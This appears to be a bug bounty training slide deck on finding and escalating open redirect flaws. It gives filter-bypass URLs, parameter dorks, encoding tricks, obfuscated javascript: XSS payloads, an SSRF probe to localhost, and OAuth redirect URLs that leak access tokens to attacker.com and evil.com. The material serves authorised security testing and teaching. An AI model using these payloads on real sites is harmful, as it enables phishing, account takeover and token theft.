



Open Redirect Bug Hunting Methodology

Become a Successful
Bug Bounty Hunter



OPEN REDIRECT – Overview

- Devs often don't see them as problems
- Often no filtering in place
- OR's on their own are low severity
- Easy to find
- Chain them for impact:
Steal tokens, XSS, SSRF



OPEN REDIRECT – where?

- Redirects often happen in:
- Login
- Logout
- Password change
- Signup



OPEN REDIRECT - Bypasses

Bypasses if a filter is in place:

`\yoururl.com`

`\\yoururl.com`

`\\yoururl.com`

`//yoururl.com`

`//theirsite@yoursite.com`

`/\yoursite.com`

`https://yoursite.com%3F.theirsite.com/`

`https://yoursite.com%2523.theirsite.com/`

`https://yoursite?c=.theirsite.com/` (use # \ also)

`//%2Fyoursite.com`

`///yoursite.com`

`https://theirsite.computer/`

`https://theirsite.com.mysite.com`

`/%0D/yoursite.com` (Also try %09, %00, %0a, %07)

`/%2F/yoururl.com`

`/%5Cyoururl.com`

`//google%E3%80%82com`



OPEN REDIRECT - Dorks

Google Dorks for redirect parameters:

return
return_url
rUrl
cancelUrl
url
redirect
follow
goto
returnTo
returnUrl
r_url
history
goback
redirectTo
redirectUrl
redirUrl



OPEN REDIRECT - Dorks

More Google Dorks for redirect parameters:

site:example.com inurl:go
site:example.com return
site:example.com r_url
site:example.com returnUrl
site:example.com returnUrl
site:example.com locationUrl
site:example.com goTo
site:example.com return_url
site:example.com return_uri
site:example.com ref=
site:example.com referrer=
site:example.com backUrl
site:example.com returnTo
site:example.com successUrl



OPEN REDIRECT - Example

Example 1

example.com/login.php?returnUrl=/help

Upon logging in the web application will redirect you to example.com/help



OPEN REDIRECT - Example

Example 2

<https://www.example.com/?go=https://www.google.com/>

when visited will go from example.com ->
google.com



OPEN REDIRECT - Example

Example 3

https://www.target.com/login?client_id=123&redirect_url=/sosecure

The user is sent to:

https://www.target.com/login?client_id=123&redirect_url=https://www.target.com/redirect?redirect=1&url=https://www.attacker.com/

TOKEN LEAK!!!



OPEN REDIRECT - Encoding

- Often only local redirects allowed
- always encode certain values such as `& ? # / \` to force the browser to decode it after the first redirect.



OPEN REDIRECT - Encoding

- `/redirect%3Fgoto=https://www.zseano.com/%253Fexample=martin`
- `https://www.example.com/redirect?goto=https://www.zseano.com/%3Fexample=martin`
- ? is `%3F` (URL encoded)
- ? is `%253F` is (double URL encoded)



OPEN REDIRECT - Encoding

- Example with no encoding
`https://example.com/login?return=https://mysite.com/`
- Example URL encoded
`https://example.com/login?return=https://example.com/?redirect=1%26returnurl=https%3A%2F%2Fwww.google.com%2F`
- Example Double URL encoded
`https://example.com/login?return=https%3A%2F%2Fexample.com%2F%3Fredirect=1%2526returnurl%3Dhttps%253A%252F%252Fwww.google.com%252F`



OPEN REDIRECT - Encoding

Common encodings:

<code>& = %26</code>	URL encoded
<code>& = %25%32%36</code>	double URL encoded
<code>/ = %2F</code>	URL encoded
<code>/ = %25%32%66</code>	double URL encoded
<code>:// = %3A%2F%2F</code>	URL encoded
<code>:// = %253A%252F%252F</code>	double URL encoded
<code>/? = %2F%3F</code>	URL encoded
<code>/? = %25%32%66%25%33%66</code>	double URL encoded
<code>? = %3F</code>	URL encoded
<code>? = %25%33%66</code>	double URL encoded
<code># = %23</code>	URL encoded
<code># = %25%32%33</code>	double URL encoded
<code>\ = %5C</code>	URL encoded
<code>\ = %25%35%63</code>	double URL encoded
<code>= is %3D</code>	URL encoded
<code>= is %25%33%64</code>	double URL encoded



OPEN REDIRECT – to XSS

- Check for XSS in redirect parameters
- Redirect via Location: (302) – No XSS
- Redirect via window.location – XSS
- Redirect via top.location.href – XSS
- Redirect via location - XSS
- `javascript:alert(0)`



OPEN REDIRECT – to XSS

```
<script>
```

```
top.location.href='YOURINPUTHERE';
```

```
</script>
```



OPEN REDIRECT – to XSS

XSS Bypasses:

java%0d%0ascript%0d%0a:alert(0)

j%0d%0aava%0d%0aas%0d%0acrip%0d%0at
%0d%0a:confirm`0`

java%07script:prompt`0`

java%09scrip%07t:prompt`0`

jjavascriptajavascriptvjavascriptajavascriptsja
vascriptcjavascriptrjavascriptijavascript
pjavascriptt:confirm`0`



OPEN REDIRECT – to SSRF

- Check for SSRF in redirect parameters
- Original:
`example.com/login.php?returnUrl=/help`
- SSRF:
`example.com/login.php?returnUrl=http://127.0.0.1`



OPEN REDIRECT – Token Leak

- Leak token example:

`https://www.example.com/oauth?client_id=123&scope=email&response_type=code&return_uri=https://www.attacker.com/callback`

- This will return to along with a ?CODE=

`https://www.example.com/callback`



OPEN REDIRECT – Token Leak

- Leak token example:
(often only local redirects allowed!!)

`https://www.example.com/oauth?client_id=123&scope=email&response_type=token&return_uri=https://www.example.com/redirect%3Fgoto=//evil.com`

The web application redirects to

`https://www.example.com/redirect%3Fgoto=//evil.com#access_token=123`

The web application redirects to

`//evil.com#access_token123`



Thank You!

Become a Successful
Bug Bounty Hunter